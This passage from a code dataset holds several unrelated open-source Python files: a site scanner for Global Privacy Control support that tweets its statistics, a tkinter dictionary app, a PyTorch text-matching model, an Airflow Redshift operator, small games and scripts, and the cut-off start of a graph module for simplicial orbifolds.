no_rescan=boolean_param('no_rescan', default=False, empty=True,\n strip=True))\n except ParamParseError:\n return template('gpc_invalid', domain=None)\n\n domain = normalise_domain(params['domain'])\n if not check_domain(domain):\n return template('gpc_invalid', domain=domain)\n\n result = es_dao.get(domain)\n if result is not None:\n if params['no_rescan'] or result['status'] == 'pending':\n redirect(f'/sites/{domain}')\n\n # Non-pending scans should have a scan datetime.\n last_scan_dt = rfc3339.parse_datetime(result['last_scan_dt'])\n # If the last scan hasn't expired yet, don't rescan.\n if rfc3339.now() < last_scan_dt + SCAN_TTL:\n if testing_mode:\n log.info('Would have redirected to existing scan for %(domain)s if on prod.',\n {'domain': domain})\n else:\n redirect(f'/sites/{domain}')\n\n r = requests.post(well_known_service + '/sites/', data={'domain': domain, 'rescan': 'true'})\n r.raise_for_status()\n\n redirect(f'/sites/{domain}')\n\n @app.get('/sites/')\n def get_site(domain):\n domain = normalise_domain(domain)\n if not check_domain(domain):\n return template('gpc_invalid', domain=domain)\n\n # Well-Known doesn't scan www subdomains - redirect to the base domain instead.\n if domain_is_www_subdomain(domain):\n base_domain = extract_base_domain(domain)\n redirect(f'/sites/{base_domain}')\n\n result = es_dao.get(domain)\n if result is None:\n redirect(f'/?domain={domain}')\n\n status = result['status']\n scan_data = result.get('scan_data')\n if status == 'pending':\n return template('gpc_pending', domain=domain)\n elif status == 'blocked':\n return template('gpc_blocked', domain=domain)\n elif status == 'failed' and not scan_data:\n return template('gpc_error', domain=domain)\n\n # Status should be `ok`, or `failed` but with a previously successful scan.\n # In either case, `scan_data` should be present.\n assert scan_data\n\n scheme = scan_data['scheme']\n\n scan_dt = rfc3339.parse_datetime(scan_data['scan_dt'])\n\n if result['scan_priority'] == 0:\n rescan_queued = True\n can_rescan = False\n else:\n rescan_queued = False\n last_scan_dt = rfc3339.parse_datetime(result['last_scan_dt'])\n can_rescan = (last_scan_dt + SCAN_TTL) < rfc3339.now()\n\n error = scan_data.get('error')\n if error:\n message = None\n if error == 'not-found':\n message = 'The GPC support resource was not found.'\n elif error in ('unexpected-scheme-redirect', 'unexpected-status',\n 'client-error', 'server-error', 'unexpected-status'):\n message = 'Server responded unexpectedly when fetching the GPC support resource.'\n elif error in ('parse-error', 'json-parse-error', 'unexpected-json-root-type',\n 'content-too-long', 'content-length-too-long', 'bad-content'):\n message = 'The GPC support resource is invalid.'\n elif error:\n log.error('Unsupported GPC scan error %(error)s', {'error': error})\n\n r = template('gpc_unknown', scheme=scheme, domain=domain,\n message=message, scan_dt=scan_dt,\n rescan_queued=rescan_queued, can_rescan=can_rescan)\n set_headers(r, SCAN_RESULT_HEADERS)\n return r\n\n else:\n assert scan_data['found'], 'gpc.json should have been found if no error.'\n gpc_data = scan_data['gpc']\n\n warnings = scan_data.get('warnings') or []\n warnings += gpc_data.get('warning_codes') or []\n message = None\n if warnings:\n message_parts = []\n for warning in warnings:\n if warning == 'wrong-content-type':\n message_parts.append('incorrect content type')\n elif warning == 'invalid-update-field':\n message_parts.append('invalid last update field')\n\n if message_parts:\n message = ' and '.join(message_parts) + '.'\n\n last_update = gpc_data['parsed'].get('lastUpdate')\n template_name = 'gpc_supported' if gpc_data['parsed']['gpc'] else 'gpc_unsupported'\n r = template(template_name, scheme=scheme, domain=domain,\n last_update=last_update, message=message, scan_dt=scan_dt,\n rescan_queued=rescan_queued, can_rescan=can_rescan)\n set_headers(r, SCAN_RESULT_HEADERS)\n return r\n\n return app\n\n\ndef run_report(es_dao,\n twitter_consumer_key, twitter_consumer_secret,\n twitter_token_key, twitter_token_secret,\n well_known_service, testing_mode, **kwargs):\n\n oauth = OAuth1(client_key=twitter_consumer_key,\n client_secret=twitter_consumer_secret,\n resource_owner_key=twitter_token_key,\n resource_owner_secret=twitter_token_secret)\n\n well_known_search = f'{well_known_service}/?q=resource%3Agpc+gpc_support%3Atrue+is_base_domain%3Atrue#results'\n\n report_dt = rfc3339.now()\n\n last_report = es_dao.find_last_report()\n\n if last_report:\n last_report_dt = rfc3339.parse_datetime(last_report['report_dt'])\n if report_dt - last_report_dt < timedelta(hours=16):\n log.warning('Last report less than 16 hours ago: %(last_report_dt)s',\n {'last_report_dt': rfc3339.datetimetostr(last_report_dt)})\n return False\n\n supported, unsupported = es_dao.count_reporting()\n scanned = es_dao.count_scanned()\n\n tweeting = bool(supported or unsupported)\n\n if last_report:\n\n if supported == last_report['supported'] and \\\n unsupported == last_report['unsupported'] and \\\n scanned == last_report['scanned']:\n # Don't tweet if nothing has changed since the last report.\n tweeting = False\n log.warning('No change in stats since last report: '\n '%(supported_count)d:%(unsupported_count)d/%(scanned_count)d',\n {'supported_count': supported,\n 'unsupported_count': unsupported,\n 'scanned_count': scanned})\n\n if last_report['twitter_bot']['tweeting'] and not last_report['twitter_bot']['tweeted']:\n log.warning('Last report wasn\\'t tweeted: %(last_report_dt)s',\n {'last_report_dt': rfc3339.datetimetostr(last_report_dt)})\n\n tweet = None\n if tweeting:\n tweet_lines = []\n\n if supported:\n tweet_line = f'{supported:,d} sites report they support #GPC'\n if last_report:\n last_supported = last_report['supported']\n supported_change = supported - last_supported\n if last_supported > 0:\n supported_change_percent = abs(supported_change / last_supported) * 100\n if supported_change > 0:\n tweet_line += f' (+{supported_change_percent:.3g}%)'\n elif supported_change < 0:\n tweet_line += f' (-{supported_change_percent:.3g}%)'\n tweet_line += '.'\n tweet_lines.append(tweet_line)\n\n if unsupported:\n tweet_line = f'{unsupported:,d} sites report they don\\'t support #GPC'\n if last_report:\n last_unsupported = last_report['unsupported']\n unsupported_change = unsupported - last_unsupported\n if last_unsupported > 0:\n unsupported_change_percent = abs(unsupported_change / last_unsupported) * 100\n if unsupported_change > 0:\n tweet_line += f' (+{unsupported_change_percent:.3g}%)'\n elif unsupported_change < 0:\n tweet_line += f' (-{unsupported_change_percent:.3g}%)'\n tweet_line += '.'\n tweet_lines.append(tweet_line)\n\n # Only report number of sites scanned if some reporting sites were found.\n if scanned and (supported or unsupported):\n tweet_line = f'{scanned:,d} sites scanned'\n if last_report:\n last_scanned = last_report['scanned']\n scanned_change = scanned - last_scanned\n if last_scanned > 0:\n scanned_change_percent = abs(scanned_change / last_scanned) * 100\n if scanned_change > 0:\n tweet_line += f' (+{scanned_change_percent:.3g}%)'\n elif scanned_change < 0:\n tweet_line += f' (-{scanned_change_percent:.3g}%)'\n tweet_line += '.'\n tweet_lines.append(tweet_line)\n\n if supported:\n tweet_lines.append(well_known_search)\n\n tweet = '\\n'.join(tweet_lines)\n\n if testing_mode:\n if tweeting:\n log.info('Would tweet:\\n%(tweet)s', {'tweet': tweet})\n else:\n es_dao.create_report(report_dt, supported, unsupported, scanned,\n tweeting=tweeting, wait_for=True)\n\n if tweeting:\n r = requests.post('https://api.twitter.com/1.1/statuses/update.json',\n data={'status': tweet},\n auth=oauth)\n r.raise_for_status()\n\n r_json = r.json()\n tweet_id = r_json['id_str']\n\n log.info('Tweeted report %(report_dt)s. Tweet ID: `%(tweet_id)s`',\n {'report_dt': rfc3339.datetimetostr(report_dt),\n 'tweet_id': tweet_id,\n 'full_response': r_json})\n\n es_dao.set_tweeted(report_dt, tweet_id, wait_for=True)\n\n return True\n","repo_name":"braedon/gpcsup","sub_path":"gpcsup/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":18752,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"29128929573","text":"from tkinter import *\nfrom os.path import exists\nimport random\nimport requests\n\n\n# Static Variables\nBACKG = \"black\"\nBBACKG = \"brown\"\nFOREG = \"red\"\nFONTC = \"white\"\nFILE = \"dictionary.txt\"\nFILE1 = \"search_history.txt\"\n\n# UI Initialization\nUI = Tk()\nUI.title(\"Dictionary\")\nUI.configure(bg=BACKG)\nUI.geometry(\"1000x825\")\nUI.minsize(1000, 825)\n\n# Initialization\nrecent_searches_list = []\ndefinition_labels = []\nerror_label = Button(UI)\nerror = \"\"\nerror_bool = False\nwidgets = []\nwidgets1 = []\ndef file_checker():\n if not exists(FILE):\n open(FILE, \"w\")\n if not exists(FILE1):\n open(FILE1, \"w\")\nfile_checker()\n\n# Making the visuals for the Main Page\ndef main_page():\n def search_func(input):\n global error_label, error, error_bool\n file_checker()\n error_label.destroy()\n text = entry_box.get().lower()\n if text == \"\" and dict_items.curselection() != ():\n temp = int(list(dict_items.curselection())[0])\n with open(FILE, \"r\") as dict:\n items = dict.readlines()\n text = items[temp].lower().strip(\"\\n\")\n if input != \"\":\n text = input.strip(\"\\n\").lower()\n entry_box.delete(0, END)\n lines = open(FILE, \"r\").readlines()\n format_list = []\n for line in lines:\n format_list.append(line.strip(\"\\n\").lower())\n if text == \"\" or text not in format_list:\n error = \"Please enter a word in the dictionary!\"\n error_label = Label(UI, text=error, bg=BACKG,\n fg=FONTC, font=\"none 12 bold\")\n error_label.place(relx=0.5, rely=0.79, anchor=S)\n else:\n text = list(text)\n text[0] = text[0].capitalize()\n text = ''.join(text)\n for line in lines:\n if line.strip(\"\\n\") == text:\n destroy_main(widgets, recent_searches_list)\n word_page(text)\n error_bool = False\n with open(FILE1, \"r\") as dict:\n lines = dict.readlines()\n for line in lines:\n if text.lower() == line.strip(\"\\n\").lower():\n error_bool = True\n if error_bool == False:\n lines.insert(0, f\"{text}\\n\")\n else:\n for j, line in enumerate(lines):\n if line.strip(\"\\n\") == text:\n lines.insert(0, line)\n lines.pop(j+1)\n # Matching to dict_items listbox to the text file\n if input == \"\":\n with open(FILE1, \"w+\") as dict:\n for line in lines:\n dict.write(line)\n dict_api(text, True)\n\n def add_word():\n global error_label, error, error_bool\n file_checker()\n error_label.destroy()\n text = entry_box.get().lower()\n if text != \"\":\n dict_api(text, False)\n text = list(text)\n text[0] = text[0].capitalize()\n text = ''.join(text)\n entry_box.delete(0, END)\n dict_items.delete(0, END)\n with open(FILE, \"r\") as dict:\n lines = dict.readlines()\n for line in lines:\n if text.lower() == line.strip(\"\\n\").lower():\n error = \"This word is already in the dictionary!\"\n error_bool = True\n if error_bool == False:\n lines.append(f\"{text}\\n\")\n lines.sort()\n # Matching to dict_items listbox to the text file\n with open(FILE, \"w+\") as dict:\n for line in lines:\n dict.write(line)\n dict_items.insert(END, line.strip(\"\\n\"))\n \n else:\n error = \"Please enter a word!\"\n error_label = Label(UI, text=error, bg=BACKG,\n fg=FONTC, font=\"none 12 bold\")\n error_label.place(relx=0.5, rely=0.79, anchor=S)\n\n def dict_api(word, check):\n global definition_labels, error, error_bool\n response = requests.get(f\"https://api.dictionaryapi.dev/api/v2/entries/en/{word}\")\n definition = response.json()\n definitions = []\n if len(definition) == 3:\n error = \"This word has no dictionary definitions!\"\n error_bool = True\n else:\n if len(definition[0]['meanings'][0]['definitions']) < 5:\n numb = len(definition[0]['meanings'][0]['definitions'])\n else:\n numb = 5\n for i in range(0, numb):\n definitions.append(definition[0]['meanings'][0]['definitions'][i]['definition'])\n # Make up to 5 labels for definitions\n if check == True:\n for j in range(0, len(definitions)):\n definition_labels.append(Label(UI, text=definitions[j],\n bg=BACKG, fg=FONTC, justify=\"left\", font=\"none 12 bold\"))\n definition_labels[j].place(relx=0.5, rely=0.23 + (j / 10), anchor=CENTER)\n error = \"\"\n error_bool = False\n return error_bool\n\n def destroy_main(widgets, recent_searches):\n for i, j in zip(widgets, recent_searches):\n i.destroy()\n j.destroy()\n recent_searches.clear()\n\n def random_entry():\n dict = open(FILE, \"r\").readlines()\n rand = random.randint(0, (len(dict) - 1))\n search_func(dict[rand])\n\n dict_label = Label(UI, text=\"Dictionary\", bg=BACKG,\n fg=FONTC, font=\"none 35 bold\")\n dict_label.place(relx=0.5, rely=0.01, anchor=N)\n\n scrollbar = Scrollbar(UI, orient=\"vertical\")\n\n dict_items = Listbox(UI, bg=BBACKG, fg=FONTC, width=25, height=14,\n font=\"none 20 bold\", highlightbackground=BACKG, yscrollcommand=scrollbar.set)\n dict_items.place(relx=0.5, rely=0.08, anchor=N)\n\n info_label = Label(UI, text=\"Type in the entry box/select an item to search or add words!\",\n bg=BACKG, fg=FONTC, font=\"none 12 bold\")\n info_label.place(relx=0.5, rely=0.68, anchor=S)\n\n entry_box = Entry(UI, bg=BBACKG, fg=FONTC, width=20, font=\"none 20 bold\")\n entry_box.place(relx=0.5, rely=0.76, anchor=S)\n\n search = Button(UI, text=\"Search\", bg=BBACKG, fg=FONTC,\n width=24, height=4, font=\"none 8 bold\", command=lambda: search_func(\"\"))\n search.place(relx=0.4, rely=0.91, anchor=S)\n\n add_word_button = Button(UI, text=\"Add Word!\", bg=BBACKG, fg=FONTC,\n width=24, height=4, font=\"none 8 bold\", command=add_word)\n add_word_button.place(relx=0.6, rely=0.91, anchor=S)\n\n random_button = Button(UI, text=\"Go To Random Entry!\", bg=BBACKG,\n fg=FONTC, width=32, height=4, font=\"none 8 bold\", command=random_entry)\n random_button.place(relx=0.85, rely=0.41, anchor=S)\n\n recent_label = Label(UI, text=\"These are the 10 most recent searches!\",\n bg=BACKG, fg=FONTC, font=\"none 12 bold\")\n recent_label.place(relx=0.155, rely=0.23, anchor=S)\n\n # For the 10 most recent searches buttons\n dict_list = open(FILE1, \"r\").readlines()\n if len(dict_list) <= 10:\n for i in range(0, 11 - len(dict_list)):\n dict_list.append(\"Less than \\n10 Searches!\")\n for i in range(0, 10):\n if i <= 4:\n x = 0.08\n y = 0\n else:\n x = 0.23\n y = 0.25\n recent_searches_list.append(Label(UI, text=(\n f\"{i + 1}: {dict_list[i]}\"), bg=BACKG, fg=FONTC, width=17, font=\"none 10 bold\"))\n recent_searches_list[i].place(\n relx=x, rely=(i / 20) + 0.28 - y, anchor=S)\n\n with open(FILE, \"r\") as dict:\n lines = dict.readlines()\n for line in lines:\n dict_items.insert(END, line.strip(\"\\n\"))\n\n# setting a list of all the widgets to delete all widgets\n widgets = [dict_label, scrollbar, dict_items, info_label, entry_box, error_label,\n search, add_word_button, random_button, recent_label]\n\n# Setting up specific pages for each individual word\ndef word_page(word):\n def destroy_entry(word):\n file_checker()\n lines = open(FILE, \"r\").readlines()\n with open(FILE, \"w\") as fp:\n for line in lines:\n if line.strip(\"\\n\") != word:\n fp.write(line)\n lines = open(FILE1, \"r\").readlines()\n with open(FILE1, \"w\") as fp:\n for line in lines:\n if line.strip(\"\\n\") != word:\n fp.write(line)\n destroy_word(widgets1)\n\n def destroy_word(widgets1):\n file_checker()\n for i in widgets1:\n i.destroy()\n for j in definition_labels:\n j.destroy()\n definition_labels.clear()\n main_page()\n\n\n word_label = Label(UI, text=word, bg=BACKG, fg=FONTC, font=\"none 35 bold\")\n word_label.place(relx=0.5, rely=0.01, anchor=N)\n\n info_label = Label(UI, text=\"These are the top 5 definitions!\", bg=BACKG, fg=FONTC, font=\"none 20 bold\")\n info_label.place(relx=0.5, rely=0.08, anchor=N)\n\n return_button = Button(UI, text=\"<- Back to Main Page\", bg=BBACKG, fg=FONTC,\n width=24, height=4, font=\"none 8 bold\", command=lambda: destroy_word(widgets1))\n return_button.place(relx=0.4, rely=0.91, anchor=S)\n\n delete_entry = Button(UI, text=\"Delete Word\", bg=BBACKG, fg=FONTC, width=24,\n height=4, font=\"none 8 bold\", command=lambda: destroy_entry(word))\n delete_entry.place(relx=0.6, rely=0.91, anchor=S)\n\n widgets1 = [word_label, info_label, return_button, delete_entry]\n\n\nmain_page()\nUI.mainloop()\n","repo_name":"Ckmedsker/Python","sub_path":"PersonalProjects/Dictionary/DictUI.py","file_name":"DictUI.py","file_ext":"py","file_size_in_byte":9791,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"15191590428","text":"import numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\nnum_list = []\r\ntemp = 0\r\nfor line in open('D:/zhengqi_train.txt').readlines():\r\n if temp != 0:\r\n num = list(map(float, line.split()))\r\n num_list.append(num)\r\n temp += 1\r\n# print(num_list)\r\nnum_mat = np.mat(num_list)\r\n# print(list(num_mat[:, 0]))\r\n\r\n# V0,V1,V4(还行),V8,V27,V31(还行),V37(还行)，\r\ntemp_list = []\r\nfor a in range(len(num_list)):\r\n temp_list.append(1)\r\n# print(len(num_list[0])) # 39\r\nfor i in range(38):\r\n plt.scatter(list(num_mat[:, i]), temp_list, c='b', s=0.05) # 一维图\r\n # plt.savefig('V'+str(i))\r\n plt.show()\r\n '''\r\n plt.scatter(list(num_mat[:, i]), list(num_mat[:, 38]), c='b') # 二维图\r\n # path = 'V'+str(i)+'-'+'target'\r\n plt.title(str('V'+str(i)+'-'+'target'))\r\n plt.savefig(str('V'+str(i)+'-'+'target'))\r\n plt.show()\r\n '''\r\n","repo_name":"luyi1092091590/data_mining","sub_path":"lianxi.py","file_name":"lianxi.py","file_ext":"py","file_size_in_byte":876,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"42869699745","text":"def addition(a,b,c):\r\n s = a+b+c\r\n print('Sum:',s)\r\n\r\nx,y,z = 1,2,3\r\n\r\naddition(x,y,z)\r\n#addition(x,y) ERROR 1 positional argument required 'c'\r\naddition(z,x,y)\r\n \r\n\r\n\r\n\r\n\r\n","repo_name":"rahulgusain2511/Python_Programs_All","sub_path":"Batch 2 XII/Functions/PositionalArgument.py","file_name":"PositionalArgument.py","file_ext":"py","file_size_in_byte":179,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"13655067722","text":"\nimport numpy as np\nimport torch\nfrom torch import nn\n\nclass Embedding(nn.Module):\n def __init__(self, embedding_dim, word_size, pretrained=None, pretrained_flag = False):\n super(Embedding, self).__init__()\n self.embedding_dim = embedding_dim\n self.word_size = word_size\n self.embedding = nn.Embedding(self.word_size, self.embedding_dim, padding_idx=0) #\n if pretrained_flag == True:\n self.embedding_init(pretrained)\n\n # embedding层的初始化\n def embedding_init(self, pretrained):\n initrange = 0.1\n if pretrained is not None:\n print(\"Setting pretrained embedding weights\")\n pretrained = pretrained.astype(np.float32)\n pretrained = torch.from_numpy(pretrained)\n self.embedding.weight = nn.Parameter(pretrained, requires_grad=False)\n # self.embedding.weight.data.uniform_(-initrange,initrange)\n\n def getEmbedding(self, input):\n return self.embedding(input)\n\nclass ArcII(nn.Module):\n def __init__(self, args, word_vec, word_embeddings):\n super(ArcII, self).__init__()\n self.Embedding = Embedding(args.embedding_dim, word_vec, word_embeddings, True)\n self.q_conv1 = nn.Conv1d(1, 32, (3, args.embedding_dim) )\n self.d_conv1 = nn.Conv1d(1, 32, (3, args.embedding_dim) )\n self.dropout = nn.Dropout(args.dropout)\n self.type = args.type\n self.first_conv2D = nn.Sequential(\\\n nn.Conv2d(1,32,(3,3)),\\\n nn.ReLU(),\\\n nn.MaxPool2d(3, 3))\n self.second_conv2D = nn.Sequential(\\\n nn.Conv2d(32,32,(3,3)),\\\n nn.ReLU(),\\\n nn.MaxPool2d(3, 3))\n\n self.FC = nn.Sequential(\n nn.Linear(32 * 4, 32),\n nn.ReLU(),\n nn.Linear(32, 1),\n nn.Sigmoid()\n )\n def forward(self, content, cit_content, content_mask = None, cit_content_mask = None):\n content = self.Embedding.getEmbedding(content)\n cit_content = self.Embedding.getEmbedding(cit_content)\n if self.type == \"train\":\n content = self.dropout(content)\n cit_content = self.dropout(cit_content)\n\n content = content.unsqueeze(1)\n cit_content = cit_content.unsqueeze(1)\n # batcg * 1 * length * embedding_dim -> batch * out_size * length - 2 * 1\n conv_content = self.q_conv1(content).squeeze(3)\n conv_cit_content = self.d_conv1(cit_content).squeeze(3)\n\n #match 匹配\n match = torch.bmm(conv_content, conv_cit_content.transpose(1, 2))\n\n first_conv2 = self.first_conv2D(match.unsqueeze(1))\n # print(first_conv2.size())\n\n second_conv2 = self.second_conv2D(first_conv2)\n # print(second_conv2.size())\n\n conv_out = second_conv2.view(second_conv2.size(0), -1)\n\n result = self.FC(conv_out)\n\n return result\n","repo_name":"nlp520/Citation_Recommendation","sub_path":"Retrieval/models/arcii.py","file_name":"arcii.py","file_ext":"py","file_size_in_byte":2880,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"44"} +{"seq_id":"74035406534","text":"#!/usr/bin/python3\n\"\"\"tests for BaseModel class\"\"\"\nimport unittest\nfrom models.base_model import BaseModel\nfrom json import loads\n\n\nclass TESTBASEMODEL(unittest.TestCase):\n \"\"\"contains fuctions that tests the functionality\n of BaseModel class\"\"\"\n\n def test_save(self):\n \"\"\"tests the presence of some attributes\"\"\"\n\n self.base = BaseModel()\n self.base.name = 'bola'\n self.base.save()\n filename = 'file.json'\n with open(filename, 'r', encoding='utf-8') as file:\n fil_cnt = file.read()\n dict_cnt = loads(fil_cnt)\n self.assertTrue('{}.{}'.format(type(self.base).__name__,\n self.base.id) in dict_cnt)\n \n dict_base = self.base.to_dict()\n self.assertIsInstance(dict_base, dict)\n","repo_name":"Alausa2001/AirBnB_clone_0","sub_path":"tests/test_models/test_base_model.py","file_name":"test_base_model.py","file_ext":"py","file_size_in_byte":795,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"44"} +{"seq_id":"7029406814","text":"\"\"\"JointProject NinjaSamurai.\"\"\"\nimport pygame\nimport system\nimport utility\n\nimage_dir = system.IMAGES_FOLDER + \"range_attack/\"\nimages_haduken = utility.load_images_by_dir_right(image_dir)\nimages_haduken_len = len(images_haduken[0])\n\n\nclass RangeAttack(pygame.sprite.Sprite):\n \"\"\"\n Range attack class.\n\n :param x: coordinate of x\n :param y: coordinate of y\n :param player_direction: left or right\n \"\"\"\n\n def __init__(self, x, y, player_direction):\n \"\"\"Init range attack.\"\"\"\n pygame.sprite.Sprite.__init__(self)\n self.image = images_haduken[player_direction][0]\n self.mask = pygame.mask.from_surface(self.image)\n self.rect = self.image.get_rect()\n self.haduken_direction = player_direction\n self.start_x = x\n self.start_y = y\n self.rect.centery = y\n self.rect.centerx = x\n self.last_frame = False\n self.image_counter = 0\n if player_direction == 0:\n self.speed_x = -system.HADUKEN_SPEED\n else:\n self.speed_x = system.HADUKEN_SPEED\n\n def update(self):\n \"\"\"Update range attack.\"\"\"\n self.rect.centerx += self.speed_x\n if self.rect.left < 0 or self.rect.right > system.WIN_WIDTH:\n self.kill()\n if not self.last_frame:\n self.start_animation()\n\n def start_animation(self):\n \"\"\"Animate range attack.\"\"\"\n self.image_counter += 1 * system.HADUKEN_SPEED_ANIMATION\n im_counter = int(self.image_counter) % images_haduken_len\n self.image = images_haduken[self.haduken_direction][im_counter]\n self.mask = pygame.mask.from_surface(self.image)\n if im_counter == images_haduken_len - 1:\n self.last_frame = True\n","repo_name":"BelyankovOO/JointProject","sub_path":"range_attack.py","file_name":"range_attack.py","file_ext":"py","file_size_in_byte":1742,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"37688969734","text":"# The task, read a game.\n# Игра \"угадай число\" (проще)\n# ValueError\n\n\nimport random\n\npython = random.randint(1, 30)\n\n\nprint('System loading...')\nprint('Python: Hello, let\\' play my game!')\nprint('If you win, then you will survive.')\n\nprint('''Rules: \n I guessing a number, if you have guessed, then you won! Otherwise, you dead!\n You will have 4 lives ''')\n\nhealth = 4\n\nwhile health > 0:\n user_input = int(input('Enter a number. I recommend to think({} attempts): '.format(health)))\n\n if user_input == python:\n print('You win, congratulation!, number was {}. Thank you so much for the game, good luck!'.format(python))\n break\n elif user_input > python:\n print('System a number - Less')\n health -= 1\n if health == 0:\n print('You lose! You are out of attempts. Number was - ', python)\n break\n continue\n elif user_input < python:\n print('System a number - More')\n health -= 1\n if health == 0:\n print('You lose! You are out of attempts. Numbers was - ', python)\n break\n continue\n","repo_name":"maslennikov9/guess-a-number","sub_path":"lesson_game.py","file_name":"lesson_game.py","file_ext":"py","file_size_in_byte":1127,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"8783891977","text":"import logging\nfrom airflow.hooks.postgres_hook import PostgresHook\nfrom airflow.models import BaseOperator\nfrom airflow.utils.decorators import apply_defaults\nfrom airflow.contrib.hooks.aws_hook import AwsHook \n\n\nclass CreateTablesOnRedshiftOperator(BaseOperator):\n\n template_fields= (\"create_sql\",)\n\n drop_tables_sql = \"\"\"\n DROP TABLE IF EXISTS {}\n \"\"\"\n\n @apply_defaults\n def __init__(self,\n redshift_conn_id=\"\",\n table=\"\",\n create_sql=\"\",\n *args, **kwargs):\n \n super(CreateTablesOnRedshiftOperator, self).__init__(*args, **kwargs)\n self.redshift_conn_id = redshift_conn_id\n self.table = table\n self.create_sql = create_sql\n\n def execute(self, context):\n redshift_hook = PostgresHook(postgres_conn_id=self.redshift_conn_id)\n self.log.info(\"Creating tables on Redshift...\")\n redered_create_sql = self.create_sql.format(**context)\n formated_drop_sql = CreateTablesOnRedshiftOperator.drop_tables_sql.format(\n self.table\n )\n redshift_hook.run(formated_drop_sql)\n redshift_hook.run(redered_create_sql)","repo_name":"JyotinP/airflow-data-pipelines-udend","sub_path":"plugins/operators/create_table_redshift.py","file_name":"create_table_redshift.py","file_ext":"py","file_size_in_byte":1182,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"20059478984","text":"#!/usr/bin/env python\n# coding: utf-8\n\n\ndef read_vector_prices(prices):\n prices_ = []\n for p in prices:\n if p != ' ':\n prices_.append(int(p))\n return prices_\n\ndef get_best_benefit(prices):\n purchase_day_action = min(prices)\n purchase_day_index = prices.index(purchase_day_action)\n sell_day_action = max(prices[purchase_day_index:]) \n\n if sell_day_action != None:\n return sell_day_action - purchase_day_action\n else:\n return 0\n\n\nif __name__ == \"__main__\":\n prices = read_vector_prices(list(input()))\n print(get_best_benefit(prices))\n\n","repo_name":"MacilioFerreira/Lucro_da_acao","sub_path":"lucro_acao.py","file_name":"lucro_acao.py","file_ext":"py","file_size_in_byte":595,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"44300047","text":"from setuptools import setup, find_packages\n \nclassifiers = [\n 'Development Status :: 5 - Production/Stable',\n 'Intended Audience :: Education',\n 'Operating System :: MacOS :: MacOS X',\n 'Operating System :: Microsoft :: Windows :: Windows 10',\n 'License :: OSI Approved :: MIT License',\n 'Programming Language :: Python :: 3'\n]\n \nsetup(\n name='Aalmond',\n version='0.1.0',\n description='Functions for Dataframe Vital Stats, Outliers Detection, Sectional Data View from Mid, Mid Q1, Mid Q3 of a Dataframe',\n long_description=open('README.txt').read() + '\\n\\n' + open('CHANGELOG.txt').read(),\n url='', \n author='Manoj S Bhave',\n author_email='manojsbhave@gmail.com',\n license='MIT', \n classifiers=classifiers,\n keywords='Data Science, Data Analysis, EDA, Vital Stats, Outliers, Impute, IQR, Zscore, Sectional Dataframe View',\n packages=find_packages(),\n install_requires=[''] \n)","repo_name":"manojsbhave/Aalmond","sub_path":"Aalmond/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":895,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"34157241749","text":"#!/usr/bin/env python3\nimport numpy as np\nimport matplotlib.pyplot as plt\ndat = np.loadtxt('flux')\nl = dat.shape[0]\nmesh_dimx = int(l**0.5)\ndat2 = dat.reshape((mesh_dimx, mesh_dimx))\nplt.pcolormesh(dat2)\nplt.colorbar()\nplt.savefig('1group_%i.png' % mesh_dimx)\n","repo_name":"gridley/discocat","sub_path":"plot1group.py","file_name":"plot1group.py","file_ext":"py","file_size_in_byte":260,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"44"} +{"seq_id":"20506747895","text":"\"\"\"\nThis file is used to create the barycentric graph and singular locus graph of a simplicial\norbifold. The graph data type is defined in graph.py.\n\nThe barycentric graph has one vertex for every tet, vertex class, edge class, and face class\nof a simplicial orbifold \"orb\". You have an edge exactly when one of these is contained in the other.\nThere could be more than one edge between two vertices in the graph. The graph edges are given a\npositive integer label corresponding to the order of the rotation group fixing it. The idea \nis that this graph is the 1-skeleton of the barycentric subdivision of the simplicial orbifold, \nquotiented out by the symmetries of the tets. \n\nFor example, suppose 0-simplices V1 and V2 of tet0 belong to the same vertex class, V. If V1 \nand V2 are not identified by a symmetry of tet0, then each contributes a distinct edge \nbetween the graph vertex of tet0 and the graph vertex of V in the barycentric graph. If they\nare identified by a symmetry, then they only contribute one edge.\n\nTo say it more precisely, the orbit of V1 in tet0 under the action of the symmetry group of tet0\ncontributes exactly one edge from the graph vertex of tet0 to the graph vertex of V. You can make\nthe same kind of statement to determine graph edges between the other graph vertex types.\n\nThe singular locus graph is obtained from the barycentric graph by:\n- Removing all edges labelled 1.\n- Removing any isolated vertices which result from step 1.\n- Removing any valence 2 vertices.\n\n\"\"\"\n\nfrom graph import*\nfrom SimplicialOrbifold import*\n\n\n# In addition to creating the barycentric graph, this function also sets CuspType for each\n# vertex of orb. Must be one of the strings 'finite','torus','(2,2,2,2)','(2,3,6)','(2,4,4)',\n# '(3,3,3)', or 'error'.\ndef barycentric_graph(orb):\n\t# Create the graph vertices and a dictionary associating them to\n\t# the tets, vertex classes, edge classes, and face classes.\n\tclass_to_graph_vertex = dict()\n\tfor tet in orb.Tetrahedra:\n\t\tclass_to_graph_vertex[tet] = Vertex()\n\tfor orb_vertex in orb.Vertices:\n\t\tclass_to_graph_vertex[orb_vertex] = Vertex()\n\tfor orb_edge in orb.Edges:\n\t\tclass_to_graph_vertex[orb_edge] = Vertex()\n\tfor face in orb.Faces:\n\t\tclass_to_graph_vertex[face] = Vertex()\n\tgraph_vertices = [class_to_graph_vertex[key] for key in class_to_graph_vertex.keys()]\n\tgraph = 